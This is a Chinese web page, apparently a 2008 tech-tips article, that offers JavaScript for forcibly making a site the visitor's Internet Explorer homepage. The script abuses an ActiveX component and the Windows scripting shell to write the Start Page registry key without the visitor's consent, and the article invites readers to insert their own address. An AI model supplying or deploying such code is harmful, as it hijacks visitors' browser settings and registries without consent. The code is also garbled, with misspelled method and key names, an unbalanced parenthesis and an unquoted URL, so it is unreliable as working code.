RSS
热门关键字:  php  lighttpd  找回密码  密码找回  client
当前位置 :| 主页>技术资料>Java script>

Javascript强制把你的网站设置为访客的首页的代码

来源: 作者:本站编辑 时间:2008-08-08 Tag: 点击:

  强制设为首页代码,见过这样霸道的代码吗?

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)

var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()
+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 
code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-
8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start 
Page",http://www.***.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

</script>

  把上面代码中的改为具体地址就可以了!


最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册